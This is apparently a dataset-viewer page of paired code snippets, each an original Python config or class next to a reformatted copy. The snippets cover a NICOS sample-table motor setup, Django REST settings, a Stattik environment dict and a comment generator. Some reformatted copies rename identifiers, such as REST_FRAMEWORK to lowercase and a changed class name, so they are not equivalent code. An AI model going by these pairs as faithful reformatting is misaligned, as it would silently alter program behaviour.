motor = 'st1_ymot',
),
st1_ymot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 y motor',
fmtstr = '%.2f',
abslimits = (-99, 99),
lowlevel = True,
unit = 'mm',
),
st1_z = device('nicos.devices.generic.Axis',
description = 'table 1 z axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-50, 50),
precision = 0.01,
motor = 'st1_zmot',
),
st1_zmot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 z motor',
fmtstr = '%.2f',
abslimits = (-50, 50),
lowlevel = True,
unit = 'mm',
),
st1_x = device('nicos.devices.generic.Axis',
description = 'table 1 x axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-500.9, 110.65),
precision = 0.01,
motor = 'st1_xmot',
),
st1_xmot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 x motor',
fmtstr = '%.2f',
abslimits = (-750, 150),
lowlevel = True,
unit = 'mm',
),
)
| description = 'bottom sample table devices'
group = 'lowlevel'
devices = dict(st1_omg=device('nicos.devices.generic.Axis', description='table 1 omega axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-180, 180), precision=0.01, motor='st1_omgmot'), st1_omgmot=device('nicos.devices.generic.VirtualMotor', description='table 1 omega motor', fmtstr='%.2f', abslimits=(-180, 180), lowlevel=True, unit='deg'), st1_chi=device('nicos.devices.generic.Axis', description='table 1 chi axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-5, 5), precision=0.01, motor='st1_chimot'), st1_chimot=device('nicos.devices.generic.VirtualMotor', description='table 1 chi motor', fmtstr='%.2f', abslimits=(-5, 5), lowlevel=True, unit='deg'), st1_phi=device('nicos.devices.generic.Axis', description='table 1 phi axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-5, 5), precision=0.01, motor='st1_phimot'), st1_phimot=device('nicos.devices.generic.VirtualMotor', description='table 1 phi motor', fmtstr='%.2f', abslimits=(-5, 5), lowlevel=True, unit='deg'), st1_y=device('nicos.devices.generic.Axis', description='table 1 y axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-99, 99), precision=0.01, motor='st1_ymot'), st1_ymot=device('nicos.devices.generic.VirtualMotor', description='table 1 y motor', fmtstr='%.2f', abslimits=(-99, 99), lowlevel=True, unit='mm'), st1_z=device('nicos.devices.generic.Axis', description='table 1 z axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-50, 50), precision=0.01, motor='st1_zmot'), st1_zmot=device('nicos.devices.generic.VirtualMotor', description='table 1 z motor', fmtstr='%.2f', abslimits=(-50, 50), lowlevel=True, unit='mm'), st1_x=device('nicos.devices.generic.Axis', description='table 1 x axis', pollinterval=15, maxage=60, fmtstr='%.2f', abslimits=(-500.9, 110.65), precision=0.01, motor='st1_xmot'), st1_xmot=device('nicos.devices.generic.VirtualMotor', description='table 1 x motor', fmtstr='%.2f', abslimits=(-750, 150), lowlevel=True, unit='mm')) |
# REST framework
REST_FRAMEWORK = {
'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.IsAuthenticatedOrReadOnly',),
'PAGINATE_BY': None,
}
| rest_framework = {'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.IsAuthenticatedOrReadOnly',), 'PAGINATE_BY': None} |
root = 'demo_markdown_bulma'
environment = {
"STATTIK_ROOT_MODULE": root,
'STATTIK_SETTINGS_MODULE': f"{root}.settings"
} | root = 'demo_markdown_bulma'
environment = {'STATTIK_ROOT_MODULE': root, 'STATTIK_SETTINGS_MODULE': f'{root}.settings'} |
class CommentGenV16n3:
@classmethod
def generate_comment(clazz, indent, line_list):
text = f"\n{indent}".join(line_list)
return f"{indent}{text}\n"
| class Commentgenv16N3:
@classmethod
def generate_comment(clazz, indent, line_list):
text = f'\n{indent}'.join(line_list)
return f'{indent}{text}\n' |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.